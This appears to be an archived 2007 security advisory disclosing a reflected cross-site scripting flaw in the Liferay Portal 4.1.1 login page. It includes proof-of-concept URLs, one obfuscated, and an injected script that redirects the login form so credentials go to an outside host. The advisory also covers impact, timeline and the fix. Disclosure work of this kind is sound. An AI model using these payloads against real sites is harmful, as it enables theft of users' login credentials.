<<< Date Index >>>     <<< Thread Index >>>

PR07-02: XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)



Date Found: 6th March 2007

Vendor informed: 26th June 2007

Description:

Liferay Portal login page is vulnerable to 
Cross-Site Scripting within the "login" field processed by the 
"/c/portal/login" server-side script.

Consequences:

An attacker may be able to cause the execution of malicious script code in the 
browser of a user who visits a specially-crafted Liferay Portal URL, or visits 
a page that submits a request to such URL. Such code would run within the 
security context of the target domain. 

This type of attack can result in non-persistent defacement of the target site, 
or the redirection of confidential information (i.e.: usernames and passwords) 
to unauthorised third parties.

Proof of concept (PoC):

The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' 
attribute. Thus, when the victim user clicks on the "Sign In" button, the 
credentials (username/password) are sent to a third-party site (procheckup.com 
in this case).

http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://procheckup.com%22%3C/script%3E%3Ca%20b=%22c
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%22c

Injected payload:

"><script>document.fm1.action="http://procheckup.com";</script><a b="c

What's (partially) returned by the server:

<input class="form-text" name="login" style="width: 150px;" type="text" 
value=""><script>document.fm1.action="http://procheckup.com";</script><a b="c">

Note: the victim user does not need to be authenticated for this vulnerability 
to be exploitable.

Successfully tested on:

Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 
14, 2006)

(other versions of Liferay Portal might also be affected)

Severity: Medium/High

Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd 
(www.procheckup.com)

ProCheckUp thanks Liferay for fixing this vulnerability so promptly.

References:

http://www.liferay.com/

http://www.procheckup.com/Vulnerability_2007.php

Fix:

The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.

This issue has been fixed on version 4.1.3 and onwards.